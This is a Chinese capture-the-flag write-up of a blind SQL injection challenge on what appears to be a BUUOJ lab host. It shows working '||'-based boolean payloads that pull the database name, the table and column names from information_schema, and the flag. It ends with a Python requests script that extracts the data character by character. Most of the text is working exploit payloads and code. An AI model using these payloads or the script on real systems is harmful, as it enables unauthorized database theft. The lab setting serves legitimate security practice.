这题也是一个很简单的盲注题目,这几天sql与模板注入做麻了,也是轻松拿捏。
它已经提示,enter number,所有猜测这里后台代码并没有使用 " ' 闭合。没有明显的waf提示, 但是or,and都没反应。再去fuzz一下,似乎也没过滤什么。最后发现 ^ || 还有反应。
?stunum=1000||False
?stunum=1000||True
ok,这就可以作为盲注判断正误的标志。
挖数据库名字。
?stunum=10000||(ascii(substr(database(),2,1))=116)
数据库名就是ctf。。。不会表名和列名是flag吧???
爆表名
?stunum=10000||(ASCII(SUBSTR((select(group_concat(table_name))FROM(information_schema.TABLES)where(table_schema)=%27ctf%27),1,1))=102)
表有flag,score。猜对了,欧耶。
爆列名
?stunum=10000||(ASCII(SUBSTR((select(group_concat(column_name))from(information_schema.columns)where(table_name="flag")),1,1))=102)
列名有flag,value。好敷衍的ctf,哈哈。不过flag在valuel里。我在这被骗了。读取flag吧
?stunum=10000||(ASCII(SUBSTR((select(group_concat(value))from(flag)),1,1))=102)
当然不能手工的,必须上脚本
import requests
flag=''
#url='http://73a45cbc-48af-4a46-99b7-3d6f5a2ece0d.node5.buuoj.cn:81/search.php?id=6=(ASCII(SUBSTR((select(group_concat(table_name))FROM(information_schema.TABLES)where(table_schema)=%27geek%27),1,1))=70)'
for i in range(1,500,1):
for y in range(1,128,1):
#url = 'http://63785cf9-f3b0-489d-a03e-e35d402b8ac7.node5.buuoj.cn:81/?stunum=10000||(ASCII(SUBSTR((select(group_concat(table_name))FROM(information_schema.TABLES)where(table_schema)=%27ctf%27),'+str(i)+',1))='+str(y)+')'
#url='http://63785cf9-f3b0-489d-a03e-e35d402b8ac7.node5.buuoj.cn:81/?stunum=10000||(ASCII(SUBSTR((select(group_concat(column_name))from(information_schema.columns)where(table_name="flag")),'+str(i)+',1))='+str(y)+')'
url='http://63785cf9-f3b0-489d-a03e-e35d402b8ac7.node5.buuoj.cn:81/?stunum=10000||(ASCII(SUBSTR((select(group_concat(value))from(flag)),'+str(i)+',1))='+str(y)+')'
content=requests.get(url)
if "Hi admin" in content.text:
flag=flag+chr(y)
print(flag)
break
ok,这比极客大挑战还简单不少。哈哈。